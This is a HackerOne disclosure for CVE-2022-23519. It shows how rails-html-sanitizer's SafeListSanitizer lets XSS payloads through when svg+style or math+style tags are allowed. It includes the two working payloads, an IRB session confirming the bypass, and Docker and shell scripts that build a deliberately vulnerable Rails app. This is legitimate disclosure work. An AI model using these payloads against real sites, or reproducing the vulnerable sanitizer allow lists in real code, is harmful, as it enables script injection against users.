CVE-2022-23519: Rails::Html::SafeListSanitizer vulnerable to XSS when certain tags are allowed (math+style || svg+style)
Medium
Vulnerability Details
The following is from: https://hackerone.com/reports/1656627
## Intro
The Rails HTML sanitzier allows to set certain combinations of tags in it's allow list that are not properly handled.
Similar to the report [1530898](https://hackerone.com/reports/1530898), which identified the combination`select` and `style` as vulnerable,
my fuzz testing from today suggests that also `svg` and `style` as well as `math` and `style` allow XSS.
The following are PoCs for each of these allow list:
- `svg` and `style`: `<svg><style><script>alert(1)</script></style></svg>`
- `math` and `style`: `<math><style><img src=x onerror=alert(1)></style></math>`
See the following IRB session:
```
irb(main):016:0> require 'rails-html-sanitizer'
=> false
irb(main):017:0> Rails::Html::SafeListSanitizer.new.sanitize("<svg><style><script>alert(1)</script></style></svg>", tags: ["svg", "style"]).to_s
=> "<svg><style><script>alert(1)</script></style></svg>"
irb(main):018:0> Rails::Html::SafeListSanitizer.new.sanitize("<math><style><img src=x onerror=alert(1)></style></math>", tags: ["math", "style"]).to_s
=> "<math><style><img src=x onerror=alert(1)></style></math>"
irb(main):019:0> puts Rails::Html::Sanitizer::VERSION
1.4.3
=> nil
```
## Sample Vulnerable Rails Application
To build a sample rails application that is vulnerable, I've used the following `Dockerfile`:
```
FROM ruby:3.1.2
RUN apt-get update && apt-get install -y vim
WORKDIR /usr/src/app
RUN gem install rails && rails new myapp
WORKDIR /usr/src/app/myapp
COPY build-rails-app.sh ./build-rails-app.sh
RUN sh ./build-rails-app.sh
RUN RAILS_ENV=production rails assets:precompile
CMD ["./bin/rails", "server", "-b", "0.0.0.0", "-e", "production"]
```
In the same directory, put a shell script `build-rails-app.sh` which writes the app:
```
#!/ibn/sh
# make routes
cat << EOF > ./config/routes.rb
Rails.application.routes.draw do
get "/poc1", to: "poc1#index"
get "/poc2", to: "poc2#index"
end
EOF
# make Poc1 endpoint
# http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E
bin/rails generate controller Poc1 index --skip-routes
cat << EOF > ./app/controllers/poc1_controller.rb
class Poc1Controller < ApplicationController
def index
@name = params[:name] || "put your name here"
end
end
EOF
cat << EOF > ./app/views/poc1/index.html.erb
<h1> Hello <%= sanitize @name, tags: ["svg", "style"] %> </h1>
<br>
PoC with a sanitized, reflected parameter 'name' for which 'svg' annd 'style' tags are allowed.
<br>
<%= link_to "Go to PoC", "/poc1?name=<svg><style><script>alert(1)</script></style><svg>" %>
<br>
<br>
Using: rails-html-sanitizer <%= Rails::Html::Sanitizer::VERSION %>
EOF
# make Poc2 endpoint
# http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E
bin/rails generate controller Poc2 index --skip-routes
cat << EOF > ./app/controllers/poc2_controller.rb
class Poc2Controller < ApplicationController
def index
@name = params[:name] || "put your name here"
end
end
EOF
cat << EOF > ./app/views/poc2/index.html.erb
<h1> Hello <%= sanitize @name, tags: ["math", "style"] %> </h1>
<br>
PoC with a sanitized, reflected parameter 'name' for which 'math' annd 'style' tags are allowed.
<br>
<%= link_to "Go to PoC", "/poc2?name=<math><style><img src=x onerror=alert(1)></style><math>" %>
<br>
<br>
Using: rails-html-sanitizer <%= Rails::Html::Sanitizer::VERSION %>
EOF
```
With the following `Makefile` you can build and run the application
```
.PHONY: build
build:
docker build -t local/railspoc:latest .
.PHONY: run
run:
docker run -it --rm -p 127.0.0.1:8888:3000 local/railspoc:latest
```
Now you have a Rails application with two routes `/poc1` and `/poc2` running locally. Visit:
- [http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E](http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E)
- [http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E](http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E)
See the screenshot in https://hackerone.com/reports/1656627 for what it will roughly look like. Both alerts should be executed.
## Impact
It is possible to bypass Rails::Html::SafeListSanitizer filtering and perform an XSS attack.
Actions
View on HackerOneReport Stats
- Report ID: 1805899
- State: Closed
- Substate: resolved
- Upvotes: 22